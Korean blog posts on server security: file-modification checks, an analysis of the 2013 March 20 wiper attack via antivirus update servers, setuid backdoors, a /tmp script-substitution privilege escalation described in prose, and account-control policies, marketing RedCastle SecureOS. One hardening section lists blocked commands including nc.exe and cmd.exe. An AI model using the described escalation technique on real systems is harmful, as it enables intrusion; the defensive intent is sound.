보안의 관점에서 파일이 마지막으로 수정된 날짜는 무척 중요한 의미를 갖는다. 처음 서버에 운영체제를 설치할 때 생성되고 이후에 패치를 적용한 적이 없는데 운영체제의 특정 파일이 수정되었다면 그 파일은 운영체제의 명령어를 가장한 루트킷일 가능성이 높다.  또한 운영체제의 보안에 취약한 설정파일이 최근에 변경되었다면 또한 해킹의 시도일 가능성이 높다.


이때 사용할 수 있는 옵션은 모두 세개가 있다.

-mtime  :  파일의 내용이 수정된 날의 수다. (일자)

-ctime  :  파일의 속성이 수정된 날의 수다. (퍼미션, 모드 등)

-atime  :  마지막 접근(읽기, 디렉토리에 접근 포함)한 날의 수다.


위의 옵션중에서가장 중요한 것은 -mtime 이다. 즉 파일이 언제 수정되었느냐 하는 것을 기준으로 찾는 것이다. 홈페이지 파일들에 대한 수정일자, 운영체제 파일이 마지막으로 수정된 것이 언제냐를 판단하는 것이다.


만약 오늘부터 과거 10일 이내에 수정된 파일을 찾고자 한다면 다음과 같은 명령으로 찾을 수 있다.



위의 명령에서 -mtime 뒤의 숫자가 바로 "10일 이내" 라는 의미다. 

-10 은 지금 현재부터 10일 이내... 즉 오늘부터 어제, 그제, 그그제~~ 해서 10일이다.

10 은 오늘부터 딱~10일 전에 수정된 것.

+10 은 10일 이전부터 더 오래전에 수정된 것 이라는 의미다.


지금까지 보안 관점에서 find 명령으로 할 수 있는 것 중 가장 대표적인 두가지, setuid 파일과 변경된 파일을 찾는 명령을 알아 보았다. 이 두가지 방법으로 운영체제의 위변조 탐지, 홈페이지 소스의 위변조 탐지, 주요 설정파일의 변경여부 등을 검증할 수 있으므로 숙지하고 있는 것이 좋겠다.


그리고 정보보안 기사 시험을 준비한다면 반드시 외우자.




지난 6월 하순 발생한 대규모 공공기관의 홈페이지 변조 사건(2013년 6월)관련 정보에 대해 구글링하던 중 몇몇 홈페이지 변조 방지 솔루션의 소개페이지들을 보게 되었다. 하지만 자사의 솔루션이 "최고"라는 자부심을 갖는 것은 좋지만 서버운영체제와 웹서버 그리고 HTTP 프로토콜에 대해 전문 지식이 없는 고객에게 응용프로그램 수준에서의 홈페이지 보안만이 홈페이지 위변조를 방어할 수 있다는 잘못된 정보를 제공하는 경우를 많이 볼 수 있었다. 그저 안타까울 뿐이다.


네트워크 보안 솔루션과 응용프로그램수준의 웹보안이 필요 없다는 것은 아니다. 추운 겨울 옷을 입을 때도 얇은 옷을 여러겹 끼워 입는 것이 보온효과가 더 크다는 상식처럼 보안 시스템도 다계층 보안 시스템을 구축해야 효과가 크다. 


DDOS, DOS, 포트스캔, TCP/IP 취약성 공격 등 네트워크 기반 공격은 네트워크 보안솔루션이 방어하는 것이 맞다. 그리고 XSS와 같은 소스파일이 직접적인 위변조가 없는 공격은 RedCastle과 같은 SecureOS가 방어할 수 없다. 또한 SecureOS도 자체 방화벽 기능을 제공하지만 어디까지나 운영체제의 네트워크 커널 기반에서 동작하기 때문에 네트워크 방화벽 처럼 IP 레이어의 플래그에 따른 다양한 통제 기능을 제공하지는 않는다. 그저 내부네트워크를 통해 침투하거나 접근하는 행위에 대해서 통제하기에 적합한 수준의 방화벽 기능을 제공하기 때문이다.


하지만 웹서비스를 위해 서버에 저장되어 있는 소스파일이나 바이너리의 변조, 웹쉘의 실행을 차단하는 데는 SecureOS 만큼의 효과를 내는 것은 네트워크 기반의 솔루션으로는 구현이 어렵다고 보는 것이 맞다.


그 이유는 바로 웹페이지의 호출과정을 정확하게 이해하면 알 수 있다.

위의 그림에서 처럼 사용자 PC의 브라우저에서 호출되는 웹페이지 소스는 운영체제의 커널을 통해 읽혀지게 된다. 하지만 웹페이지 소스는 웹서버만 읽고 수정할 수 있는 것이 아니다. 서버에 다른 방법으로 접속한 사용자도 웹서버를 거치지 않고 접근하여 수정(변조)할 수 있고 웹서버의 취약점을 뚫고 침투한 해커도 2중, 3중의 우회방법을 통해 웹페이지의 소스를 변조할 수 있다.


하지만 아무리 2중, 3중의 우회경로를 통해 웹페이지 소스를 수정하더라도 최종적으로는 운영체제의 커널을 거치게 된다. 웹서버가 운영되는 서버에서 운영체제의 커널을 거치지 않고 파일을 수정할 수 있는 경우는 없다. 운영체제의 커널을 거치지 않고 파일 입출력을 하는 경우가 있기는 하나 특별한 파일시스템 구조로 파일시스템이 구성되어 있어야 하며 웹서버 용도의 서버에서는 특별한 파일시스템을 구성하는 경우가 없다.


RedCastle SecureOS를 서버에 설치하게 되면 웹페이지 소스에 접근하는 모든 접근을 커널 수준에서 모니터링하고 통제하기 때문에 정해진 소스파일 업데이트 작업만 허용하고 나머지 접근은 모두 차단할 수 있다.


예를 들면 "192.168.100.10 번 IP에서 FTP로 webadmin 계정으로 접속했을 때만 생성/수정/삭제가 가능하고 이외의 모든 생성/수정/삭제는 차단한다" 와 같은 정책에 의해 통제를 할 수 있게 된다. (다만 소스가 있는 경로는 모두 파악하여 리스트업 해야한다.)


이러한 정책을 적용하면 웹의 어떤 취약성을 뚫고 침입하여 소스파일을 변조시도하더라도 모두 차단이 되는 것이다. 소스의 변조를 막기 위해 별도의 라이브러리를 설치하고 소스를 일일히 수정하거나 새로운 취약성이 발견되어 보안 솔루션의 패턴을 업데이트해야하는 수고를 하지 않아도 되는 것이다. 또한 관리자가 Telnet 접속하거나 터미널 서비스로 접근하여 VI 명령어나 Notepad 명령어로 수정하는 행위도 차단이 된다.


DDOS 공격에 의한 서버 다운과 홈페이지 변조 중 어느 사고가 더 심각한 사고인가?


청와대 홈페이지가 공격을 당한 이후 뉴스기사가 떴다.



음...아주 완벽하게 홈페이지를 변조했다. (대단한 넘들.... -.-) 그런데 뉴스에서 참 희한한 기사를 읽을 수 있었다. 이런 기사가 바로 여론을 호도하는 좋은(?) 사례다. 어떻게 서버 다운이 없었다는 것을 더 "안전"한 것 처럼 이야기 할 수 있는지 이해가 안된다. 77대란 때 어느 국회의원의 "인터넷에 접속하는 모든 PC에 백신설치를 의무화하자"는 발언이 생각난다.


사실 서버에 저장된 파일이 외부의 공격에 의해 변조되었다는 것은 매우 심각한 상황이다. 만약 외부의 공격에 의해 파일이 변조되었다면 해당 서버는 운영체제부터 새로 설치하는 것이 바람직하다. 왜냐하면 파일의 수정이 이루어졌다는 것은 서버의 디스크 어디에 어떤 공격도구가 생성되어 숨겨져 있을지 모르는 상황과 같기 때문이다. 


하지만 DDOS 공격은 서버 내에 해커가 침투한 상황은 아니다. 단지 서비스를 하지 못하도록 외부에서 네트워크를 차단하는 형태의 공격이다. 홈페이지 파일의 변조는 "강도가 집 내부에 침입하여 물건을 훔쳐간 것"과 같고 DDOS 공격은 "집 밖에서 누가 돌멩이를 집으로 던져 유리창이 깨진 것" 에 비유할 수 있다. 과연 두 가지 해킹 중 어떤것이 더 심각한 문제일까? 당연히 홈페이지 변조가 더 치명적인 보안사고다. 하지만 공무원은 변조 보다는 장애가 더 큰 문제인 것처럼 이야기하고 있다. 매우 심각한 보안 인식의 문제가 드러난 발언이다. 


홈페이지 위변조 공격은 지금도 어디에선가 계속 시도되고 있고 발생하고 있다. 다만 쉬쉬하며 감추기 때문에 알려지지 않을 뿐....



Windows, Linux, Unix 등 서버엔 많은 관리자나 엔지니어들이 접속하여 관리를 수행한다. 여기서 "접속"이라 함은  일반적인 웹서비스나 일반 업무 프로그램을 통한 접속이 아니라  telnet, ssh, terminal service 등 서버의 관리를 위해 운영체제에서 기본적으로 제공하는 접속 환경을 말한다.

SSH 혹은 telnet을 통해 Unix/Linux 서버에 접속하면 아래와 같은 화면이 표시된다.

이때부터 서버의 관리는 그 옛날 DOS시절보다 더 복잡한 명령어를 실행하거나 설정함으로써 이루어진다. 서버의 보안관리상의  문제는 여기서 부터 발생한다. 

1. 누가(사람) 언제 어디서 접속하였는가 ?

2. 어떤 계정으로 접속하였는가 ?

3. 어떤 명령을 실행하였는가?

4. 명령 실행 후 어떤 결과가 화면에 표시되었는가?

5. 어느 파일을 수정하였는가 ?

6. 명령 실행 혹은 파일 수정 후 어떤 에러가 발생하였는가?

위의 6가지에 대한 감사(Audit)를 수행하기 위해서는 운영체제의 기본 기능만으로 구현할 수는 없다. Unix와 Linux 그리고 Windows는 훌륭한(?) 운영체제지만 보안을 특별히 고려한 운영체제라고 보기는 어렵다. 서버의 보안을 강화하기 위해 특별한 기능을 기대하지는 않는 것이 좋다.

그렇다면 위의 6가지 감사 이슈를 충족하기 위해서는 어떤 방법을 취할 수 있을까? 역시 가장 확실한 방법은 서버보안SW를 적용하는 것이 가장 확실하다 하겠다.

SecureOS는 다음의 두가지 사용자 및 관리자의 행위추적 기능을 제공한다.

1. 커널수준에서 수행되는 "사용자 추적"

2. 응용수준의 입출력디바이스에 대한 모니터링을 수행하는 "TTY 모니터링"

몇몇 서버보안 제품들과 서버 감사로그 수집솔루션에서는 TTY모니터링 기능만을 제공하지만 레드캐슬은 커널수준의 사용자 추적과 TTY 모니터링을 모두 제공하고 있기 때문에 보다 상세하고 강력한 감사기능을 지원하고 있다.

1. 커널수준의 사용자 추적

말 그대로 커맨드라인에서 입력된 명령행이 exec() 시스템콜에 의해 커널에 전달된 시점에서 로그인한 사용자 세션을 식별하여 세션별로 수집/저장하는 행위추적 기능이다. exec() 시스템콜을 가로채어 감사로그를 저장하기 때문에 커맨드라인에서 직접 입력한 명령어 뿐만 아니라 실행된 명령어 혹은 스크립트가 내부적으로 실행하는 exec() 시스템콜도 가로채어 감사로그를 기록할 수 있다.

이는 화면에는 보이지 않고 백그라운드로 실행되는 명령어도 감사로그 기록이 가능하다는 의미다. 때문에 보다 정확하고 상세한 감사로그를 남길 수 있다. 예를 들어 외부 엔지니어가 작업상의 편의를 위해 미리 스크립트를 만들어 가져온 뒤 서버에 업로드하고 한꺼번에 실행하는 경우 커널수준의 사용자 추적에서는 그 스크립트 안에서 실행되는 명령어까지도 빠뜨리지 않고 감사기록을 남길 수 있다는 것을 의미한다.

또한 TTY 모니터링과는 다르게 보안SW가 구동중이면 우회하거나 무력화할 수 없으며 화면의 입출력을 가로채는 동작이 없기 대문에 여러 명령행의 "붙여넣기" 혹은 DBA들이 자주 사용하게 되는 길다란 ~ SQL문의 "붙여넣기" 시에도 영향을 주지 않는다.

커널기반 사용자 추적 조회 화면 (Windows / Linux / Unix 공통)

이 커널기반의 사용자 행위 추적 기능은 타 서버보안SW 혹은 감사로그 수집 솔루션에서 지원하지 못하고 있는 기술이다.

2. TTY기반의 사용자 추적

TTY란 Telnet, SSH, rlogin 접속 시 운영체제가 사용자 세션에게 부여하는 가상의 터미널디바이스 이름이다. TTY는 옛날 타자기(TeleTYpewriter)의 입출력을 컴퓨터 상에 접목시키기 위해 만들어진 것으로서 사용자가 접속할 때 1개씩 부여되고 키보드의 입력과 화면의 출력이 사용자가 접속할 때 부여된 터미널디바이스(즉 TTY)를 통해 이루어진다.

대부분의 서버보안 제품 및 TTY모니터링을 지원하는 로그통합관리 제품들은 동일한 방식 즉 TTY를 모니터링하는 기법을 사용하여 사용자 추적을 수행한다. 이 기술은 커널 수준이 아닌 응용프로그램 수준에서 동작하며 운영체제의 기본적인 설정 중 일부를 변경해주어야만 동작한다. 즉 어떤 파일을 변경하면 되는지를 알면 root 권한을 얻었을 때 해당 설정을 수정하며 감사기록이 남지 않도록 할 수 있다는 이야기다.

그럼에도 불구하고 TTY 모니터링 기법은 중요한 장점을 갖고 있는데 그것은 바로 명령 수행의 결과로 출력되는 내용까지도 감사기록으로 남길 수 있으며 온전한 입력과 출력을 모두 로깅하기 때문에 "동영상" 처럼 재생시켜 볼 수 있다는 장점이 있다.

Windows 서버에 대한 사용자 행위 추적(GUI수준)

 Unix / Linux 서버에 대한 TTY 수준의 행위추적 (GUI수준)

개인정보보호법이 발효된 이후 시스템에 대한 보안 점검 시 "관리자의 행위에 대한 감사로그"를 남기고 있느냐가 무척 중요한 이슈로 떠오르고 있다. 이에 대해 완벽하게 대응하기 위해서는 TTY수준(GUI수준)에서의 행위 감사와 TTY수준의 행위 감사가 무력화 되었을 경우를 대비한 커널수준의 사용자 추적 두가지가 모두 필요하다.




I.       사건 개요

2013 320일 오후 12시 경 방송사와 금융기관의 내부 네트워크에 연결된 모든 PC를 공격하여 PC의 디스크 파괴를 통해 업무 전산망을 마비시키는 대형 보안사고가 발생하였음.

l  발생일시 : 2013 320일 오후 12 ~ 14

l  공격대상기업 : 3개 방송사(공중파 2, 케이블 1) 3개 금융기관(1금융권)

l  공격대상자원 : 기업 내부의 업무전산망에 연결된 모든 PC

l  공격방법 : PC에 악성코드를 유포하여 PC내의 디스크 파괴

l  공격결과 : 기업 내부의 업무 전산망 마비로 인한 업무 마비 및 중요 데이터 파괴

 

II.     사건 분석

320일 발생한 보안사고는 다음과 같은 절차에 의해 수행된 것으로 보임.

l  공격 대상 기업의 내부 전산망에 위치한 PC용 백신의 관리서버(A사 및 H사 개발 및 판매)기업 내의 모든 업무용 PC에 파일을 배포하고 실행할 수 있는 취약성이 있다는 점을 해커가 인지함.

l  APT 공격을 통해 6개 기업의 백신 관리서버(업데이트용)에 백신 업데이트 파일로 위장한 악성코드 파일 설치

l  백신의 관리서버가 업데이트 파일로 위장한 파일을 하위의 업무용 PC에 배포

l  업데이트 파일로 위장한 악성코드 파일을 실행 à 악성코드 감염

l  정해진 시간 (320일 오후 12 ~ 14)에 백신 프로그램을 강제 종료시키고 하드디스크 의 MBR 및 데이터 파괴 시작 (Windows Vista / 7 은 데이터영역도 파괴, XP는 일부 파괴)

l  하드디스크 파괴 후 PC 종료 메시지를 표시한 뒤 PC 강제 종료

l  PC 부팅 안됨.

 

상기 공격 과정을 도식으로 표시하면 다음과 같다.

KBS MBC YTN 해킹

상기 도식을 통해 다음과 같은 중요한 사실을 확인할 수 있다.

l  APT 공격을 통해 기업의 내부 전산망에 위치한 백신관리서버(업데이트 배포서버)에 관리자 계정의 권한을 해커가 획득하였음.

l  해커가 상용 솔루션인 백신관리서버 솔루션의 동작구조를 이해하고 있으며 공격의 설계에 필요한 이 솔루션의 파일배포 취약점을 파악하고 준비하였음.

l  백신업데이트 파일로 위장한 악성코드가 PC에 배포된 뒤 백신 프로그램을 강제 종료하였음.

l  백신이 PC의 디스크를 파괴하는 신규 악성프로그램을 탐지 및 차단하지 못하였음.

 

320일 발생한 이번 보안 사고는 2년 전 이즈음 발생한 농협의 전산망 마비사태와 큰 유사성을 갖고 있다. 그 유사성은 바로 해킹에 악용된 취약점이 상용 시스템 관리 솔루션의 취약점을 악용하여 최종 공격을 수행하는 명령코드를 최종 공격 대상 기기로 보내 실행했다는 점이다.

농협 전산 사고의 경우 업계에서 많이 사용되는 서버 장애 관리 및 모니터링 솔루션의 관리자 권한을 APT 공격을 통해 획득한 뒤 수백 대의 서버에서 동시에 디스크를 파괴하는 명령을 실행한 것으로 추측되며 이번 사고도 백신 업데이트 관리 솔루션이 설치된 서버의 관리자 권한을 획득하여 내부 전산망의 PC의 디스크를 파괴한 것으로 보이는 매우 중대한 공통점이 있다.

 

III.       대응 방안

앞에서 살펴보았듯 전산망이 마비되는 대형 보안사고는 대부분 APT 공격을 통해 자행되는 경향을 보인다.

특히 하나의 침투대상의 관리자권한을 APT 공격을 통해 확보하면 다수의 하위 공격 대상 장비로 공격을 실행하는 악성코드를 유포할 수 있는 중앙 집중 관리 시스템을 해킹하려는 시도가 증가할 것으로 예상된다.

이러한 공격을 차단하기 위해서는 중앙 집중 관리를 위해 도입된 솔루션별 관리서버에 대한 보안 강화가 필요하다.

이번 사고 사례에서도 알 수 있듯 중앙집중관리 솔루션들은 필수적으로 다수의 서버 혹은 PC에 에이전트(Agent)라 불리는 S/W를 설치하게 된다. 그리고 이 에이전트를 통해 서버나 혹은 PC의 다양한 정보를 수집하고 관리한다. 다음과 같이 매니저-에이전트의 구성을 갖는다.

 

농협사태와 320대란에 악용된 상용솔루션들의 매니저-에이전트 구성에서 보안취약성은 바로 매니저가 설치된 서버에 있다. 그리고 두 사건 모두 해커들은 매니저의 취약성을 파고 들었고 해당 취약성에 대한 공격이 성공하면서 모두 대형 보안 사고로 이어졌음에 주목해야 한다.

매니저가 설치된 서버에 대한 보안을 강화하기 위해서는 RedCastle SecureOS를 이용하여 다음과 같은 정책을 적용하여야 한다.

l  Windows의 주요 운영체제 폴더에서 새로운 파일의 생성/수정/삭제의 차단

è  악성프로그램/코드 및 운영체제 파일의 바이러스 감염 차단을 위해 필수적인 정책

l  Windows의 주요 설정 파일에 대한 수정 차단

è  파밍공격차단 및 악성프로그램의 자동 실행 차단 등

l  위협명령어(net.exe, taskkill.exe, cmd.exe, shutdown.exe, nc.exe, telnet.exe, ftp.exe)에 대한 실행 차단

è  악성코드가 주요 서비스 및 백신 강제종료 차단, 해킹시도를 위한 명령어 실행 차단

è  악성코드 유포 및 외부 연결 시도 차단

l  웹브라우저 실행 차단

è  악성 코드 감염을 유도하기 위한 웹 호출 차단

l  방화벽을 이용한 Outgoing 세션 연결시도 차단

è  서버로부터 외부로의 취약한 서비스포트로의 외부접속 차단

l  방화벽을 이용한 netbios 연결 및 Microsoft-DS, SQL Server 서비스 접속 시도 차단

è  공유 접근 및 DB 접속을 통한 관리서버 해킹 시도 차단

l  터미널서비스 접속 제한

è  관리자 이외의 PC에서 원격접속시도 차단

l  관리솔루션이 설치된 폴더 및 관리솔루션의 관리하에 있는 폴더에 대한 타 계정/IP 등에서의 접근 제한

è  원격접속 등을 통해 접근하였을 경우 접근을 제한하여 APT 공격으로 관리 솔루션이 해킹되는 것을 예방.

 

VI.       결론

2년전 발생한 농협과 3 20일 발생한 대형 보안사고를 통해 관리 솔루션의 도입이 대형 보안사고를 유발하는 커다란 취약성이 될 수 있음을 확인하였다. 하지만 관리 솔루션을 도입하지 않고 대형 다수의 시스템을 관리하는 것은 사실상 어렵다.

그렇다면 결론은 관리 솔루션 취약성의 공격으로 인한 대형 보안사고를 예방하기 위해서라도 관리 서버에 대한 보안을 강화하는 방법 밖에는 없다고 볼 수 있다. 특히 APT 공격을 통해 관리서버에 존재하는 관리자 계정의 권한이 탈취될 수 있다는 가정하에 공격을 저지할 수 있는 방법을 찾아야 하며 그에 대한 해답을 제공할 수 있는 보안강화 수단은 RedCastle과 같은 서버보안SW밖에는 없다고 볼 수 있다.



  • 하얀삼치 2013.04.07 22:56

    정보 감사히 봤습니다. 감사합니다.


Unix와 Linux 서버의 운영체제에서 보안을 위해 가장 주의해야하는 것은 바로 수퍼유저 계정, 즉 root 계정의 권한 탈취다. 만약 해커가 root 권한을 탈취한다면 해커는 서버에서 하고자 하는 모든 것을 할 수 있다.

해커가 root의 패스워드를 모르는데 어떻게 root 권한을 탈취할 수 있는가?

Unix와 Linux 운영체제는 보안에 신경쓰지 않고 개발한 연구용 운영체제다. 그러다 보니 개발 과정에서 일반 사용자 계정에서 root 권한을 필요로 할 경우 root 의 패스워드 없이 root 권한을 얻을 수 있는 다음과 같은 기능을 넣었다.

- 파일 퍼미션의 setuid bit에 의해 다른 계정의 권한을 임시로 얻는 기능
- 프로그램 내에서 setuid() 함수를 실행하여 현재 실행중인 프로세스의 소유자를 변경할 수 있는 기능
- 일단 root 권한을 얻으면 패스워드 없이 타 계정으로 권한을 변경할 수 있는 기능

해커들은 이 setuid 기능을 이용해 언제든 root 권한을 얻을 수 있는 백도어를 만들어 서버에 설치한다. setuid bit를 이용하여 백도어를 만드는 것은 프로그래밍 지식이 없는 초보자도 손쉽게 만들 수 있을 만큼 쉽지만 시스템 운영자의 입장에서는 엄청나게 위험하고 일단 설치되면 찾아내기가 쉽지 않다. rootkit 이라 불리는 것들이 백도어라 생각하면 된다.

redcastle secureos


SETUID 이외의 root 권한 탈취 방법

앞에서 설명한 setuid 이외의 root 권한의 탈취 방법은 대부분 운영체제 혹은 애플리케이션의 취약성으로 인해 발생하는 것들이다.

예를 들어 보면

1. root 권한으로 실행 중인 A라는 프로그램이 있다.

2. 이 프로그램은 주기적으로 /tmp 디렉토리에 B라는 이름의 스크립트를 생성하고 실행하고 삭제한다.
   (당연히 B라는 스크립트는 root 계정의 권한으로 실행된다.)

3. 서버를 해킹하려는 악의적인 목적을 가진 내부자가 root 이외의 계정으로 접속하여 /tmp에 B라는 동일한 이름의 공격스크립트 혹은 공격 프로그램을 지속적으로 만들고 지우는 스크립트를 만들고 실행한다. (B라는 스크립트 혹은 프로그램을 분석하여 A가 실행하는 어떤 한 명령이라도 대체 가능하다면 약간 변형하여 가능한 공격이다.)

4. 어느 순간엔가는 A가 실행하는 B라는 스크립트가 정상적인 B라는 스크립트가 아니고 공격자가 만들어둔 B라는 스크립트일 가능성이 있고 실제로 root 권한으로 공격스크립트가 실행될 수 있다.

5. 해커는 끈기있게 공격스크립트인 B가 실행되기를 기다리고 B가 root 권한으로 실행되는 순간, root 권한을 얻어 의도한 공격을 할 수 있다. (이 공격은 root 권한을 얻는 것일 수도 있으며 어떤 것인지는 공격자의 의도에 달려있다.)

이런 형태의 공격은 사실 서버에 어떠한 계정으로라도 접속할 권한만 있다면 손쉽게 가능한 공격기법이다. 하지만 그 위험성을 인지하고 있는 운영자는 그리 많지 않은 것이 현실이다. 그리고 버퍼오버플로와 같이 어려운 기술이 필요하지 않기 때문에 더 큰 위협이 된다. 운영체제에 대한 초보적인 지식만 있다면 얼마든지 실행가능한 공격이기 때문이다.

그만큼 Unix와 Linux는 내부자의 공격에 너무도 취약한 운영체제다.


** root 권한의 분리 정책

root 계정은 모든 것을 할 수 있는 수퍼유저다. 이 root 권한을 여러 계정 혹은 자연인 기반의 다른 사용자에게 나누어주는 것을 root 권한의 분리라고 한다. 이 root 권한의 분리는 여러가지 기법에 의해 가능하다.

1. 어느 IP/MAC주소에서 root로 로그인 했는가에 따라 서로 다른 파일 접근 권한을 부여
2. 개인 계정을 만들고 어느 개인계정에서 root로 로그인했는가에 따라 서로 다른 파일접근 권한 부여
3. 자연인기반(PKI인증서기반) 인증을 수행하여 어느 자연인이 root로 로그인 했는가에 따라 서로 다른 파일접근 권한 부여

이러한 기술을 이용하면 root 계정 뿐만 아니라 oracle, weblogic 등 중요한 어플리케이션 관리자 계정에 대해서도 권한을 세분화하여 파일 접근 권한을 부여할 수 있다.

가장 많이 사용되고 안전한  root 권한 분리 기법은 앞의 세가지 중 2번이다. 1번의 경우 IP 및 MAC의 변조에 의해 실제 로그인한 자연인을 식별할 수 없고 변조되더라도 책임을 물을 수가 없기 때문이다. 또한 3번의 경우 인증서 만료 및 인증서 휴대 문제가 있기 때문에 권장되지 않는다.

root 권한이 필요한 운영체제의 주요 설정 파일 및 시스템 변경을 일으킬 수 있는 주요 명령어에 대해 직접 root로 로그인한 계정에서는 접근(읽기, 실행, 수정, 삭제 등등)하지 못하도록 하고 특정 관리자의 개인계정으로 로그인하여 root 계정으로 전환(su - root 수행)한 경우에만 실행이 가능하도록 정책을 수립하고 적용한다.


** 어플리케이션 관리자 권한 분리 정책

root 계정 뿐만 아니라 오라클, 웹로직, 제우스, 티맥스 등 주요 어플리케이션의 관리자 계정도 권한을 분리할 필요가 있다. weblogic 계정으로 실행되는 WAS 서버(java로 실행되는)의 자체 취약점 및 JSP 등의 취약성으로 인해 WAS가 뚫리게 되면 해커는 weblogic 계정의 권한을 획득하게 된다.
만약 Webshell 등을 업로드 하고 실행한다면 해커는 서버에 telnet 접속을 한것 과 같이 weblogic 권한으로 실행 및 접근 가능한 모든 파일에 대한 접근 권한을 갖게 되는 것이다. 이때 주요 명령어와 같이 시스템 해킹에 사용될 수 있는 파일이나 weblogic 소유자로 되어 있는 jsp 파일 및 대부분의 class 파일에 접근하여 홈페이지 위변조 및 java 스크립트, iframe 삽입 등을 시도할 수 있으므로 이에 대한 통제가 필요하다.

그래서 weblogic, jeus, tmax, oracle 등의 계정으로 직접 로그인한 경우 root의 경우처럼 권한을 대폭 축소할 필요가 있는 것이다. 당연히 해커가 알지 못하는 개인계정으로 접속하여 weblogic, jeus, tmax, oracle 계정으로 이동(su - oracle 등)한 경우에만 접근이 가능하도록 어플리케이션 관리자 계정의 권한을 분리하도록 정책을 수립하여야 한다.

** root 및 어플리케이션 관리자 계정의 권한 통제는 서버 보안, 그중에서도 내부통제의 핵심

농협의 초~대형 보안 사고의 경우 내부 사용자에 의한 보안 사고일 가능성이 크다. 실수에 의해 운영체제의 주요 파일이 삭제되거나 GS칼텍스의 개인정보 유출과 같은 대형 데이터 유출사고의 경우가 바로 그런 경우다.
그리고 그때 보안사고가 자행되는 계정은 root 혹은 oracle, weblogic, tmax 등 서버의 주요 관리자 계정이 될 가능성이 크다. 따라서 내부통제를 강화하기 위해서는 root 및 관리자 계정의 권한을 여러 사용자에게 분리하여 부여하여야 한다. 




최근 발생한 현대캐피탈과 농협 그리고 이번 KBS, MBC, YTN, 신한은행, 농협의 치명적인 보안사고로 인해 금융산업분야 뿐만 아니라  비지니스를 위해 혹은 전산시스템이 비즈니스 그 자체인 많은 기업과 공공기관에 초비상이 걸렸다. 덕분에 나도 너무 많이 바빠진 사람중의 하나가 되었다.

 

하지만 Unix/Linux 운영체제는 자체적인 보안기능이 매우 부족하다. Unix/Linux가 애초부터 보안을 염두에 두고 개발한 운영체제가 아니기 때문에 운영체제 자체적으로 엄청나게 많은 관리적/기술적 취약성을 갖고 있다. 기술적 취약성 중 일부는 운영체제의 설정을 변경하여 보완할 수도 있지만 근본적으로 한계를 갖고 있으며 관리적 취약성은 운영체제 차원에서는 대응할 수 있는 방안이 없다.

 

그래서 공공기관 및 금융부문에서는 RedCastle과 같은 SecureOS S/W를 서버에 설치하여 Unix/Linux 운영체제의 기술적/관리적 취약성을 보완하고 있다. 하지만 보안강화를 위해 RedCastle에 보안정책을 넣어달라는 요청은 많은데 비해 어떤정책을 수립 할 것인가에 대해서는 아무런 생각이 없는 경우가 대부분이다.

 

그래서 Unix/Linux 서버의 운영자 및 보안부서의 IT 담당자분들께 도움이 될만한 서버보안 정책 가이드라인을 제시해본다.


 

I.              계정 통제 정책

 

흔히 계정통제라고 하면 여러 서버에 동시에 계정을 생성하고 패스워드를 일괄 변경하는 것을 생각하기 쉽다. 하지만 서버보안에서 계정통제라 함은 다음을 의미한다.

 

l  계정은 몇 개를 어떤기준에 의해 생성할 것인가

l  각 계정별 로그인 통제는(계정/서비스/IP/시간의 조합에 의한 로그인 통제) 어떻게 할 것인가

l  서버에 로그인한 사용자가 다른 계정으로의 Switch User를 하는 행위에 대해 어떻게 통제할 것인가

l  계정을 이용한 행위 감사(Audit)는 어떻게 할 것인가

 

흔히 계정관리와 혼동하는 패스워드의 일괄 변경은 기본적인 보안정책 즉 서버마다 패스워드를 다르게 설정하여야 한다는 아주 기본적인 보안정책에 위배된다. 이는 하나의 패스워드가 유출되면 전체 서버의 패스워드가 유출되는 끔찍한 결과를 차단하기 위해 권고되는 패스워드 관리 정책이다.

 

금번 농협의 보안사고에서도 단 몇 개의 root 패스워드가 내부자에 유출되었을 것이지만 피해는 275대의 서버에서 발생한 것처럼 어쩌다~ 한번 발생한 사고가 너무도 큰 피해를 유발하게 될 수 있다.

 

1)    계정은 몇 개를 어떤기준에 의해 생성할 것인가
 

서버에 TELNET, FTP, SSH 로그인을 수행하는 개인들은 서버에 혼자만 사용할 개인의 계정을 만들고 서버에 로그온할 때는 자신의 계정을 이용해 로그온 할 것을 권고한다.

 

이것을 굉장히 어려운 일이라거나 서버의 장애를 유발할 것이라는 막연한 두려움을 가진 관리자들이 너무도 많다. 서버의 운영체제는 다수의 사람들이 동시에 접속할 것을 전제로 만들어진 Multi-User, Multi-Tasking 운영체제다. 계정을 100~200 개 생성해도 계정이 많다는 이유로 서버가 느려지거나 장애가 유발되지는 않는다. 그 사람들이 동시에 접속하여 부하가 큰 명령을 동시에 실행하지만 않는다면 말이다


몇개의 계정을 100명이 사용하는 것이나 100개의 계정을 100명이 사용하는 것은 동일한 부하를 유발한다고 생각하면 맞다.

 

시스템관리자, DB관리자, 어플리케이션 관리자 등 수많은 사람들이 Root, oracle, weblogic, jeus, tuxedo 등 공용계정을 공유하여 사용하는 것은 장애 혹은 보안사고 발생 시 원인분석을 어렵거나 불가능하게 만드는 주요 원인이다. 때문에 개인계정을 생성하여 스스로의 관리 책임하에 서버에 로그온 하는 것이 올바른 계정 생성 정책이다.

 

자신만의 계정으로 로그인 한 뒤 root, oracle 등과 같은 수퍼유저 및 애플리케이션 관리자 계정으로 SU하여 사용하도록 하여야 한다.

 

 

2)    계정의 로그인 통제는 어떻게 할 것인가

 

Root, oracle, tmax, weblogic, tuxedo Super-User의 계정과 애플리케이션 관리자 계정등 공용계정으로의 직접 로그인은 차단하여야 한다.

 

Super-user 계정인 root로 여러 사람이 직접 telnet 로그인하는 것을 허용하게 되면 문제 발생 시 도대체 누가 로그인하여 작업했는지에 대한 추적이 불가능해진다. 때문에 서버에 로그온 하여 작업을 수행해야 하는 개인들은 모두 개인계정을 만들어 사용하고 root 이하 공용계정으로는 직접 로그온 하지 못하도록 통제하여야 한다.

 

추가적으로 각 개인별로 사용하는 IP에 대해서만 로그온 할 수 있도록 IP 통제까지 수행한다면 보안성은 대폭 개선될 수 있다.

 

 

3)    서버에 로그인한 사용자가 다른 계정으로의 Switch User를 하는 행위에 대해 어떻게 통제할 것인가

 

계정의 이동(Switch User)통제는 시스템운영에 상당히 민감한 영향을 끼칠 수 있다. 그리고 체계가 잡히지 않은 중구난방~식의 SU 통제는 시간이 지날수록 문제를 유발시킬 가능성이 커지기 때문에 SU를 통제할 때에는 시스템을 운영하는 전산부서 전체에 적용할 수 있도록 정책을 확실하게 수립하는 것이 좋다.

 

계정이동통제(SU) 정책 수립 시 기본 지침은 다음과 같다.

 

-       Super User root 계정으로의 SU를 허용할 개인계정을 그룹핑한다.

-       Oracle, Weblogic 등 애플리케이션 별로 SU를 허용할 계정을 그룹핑한다.

 

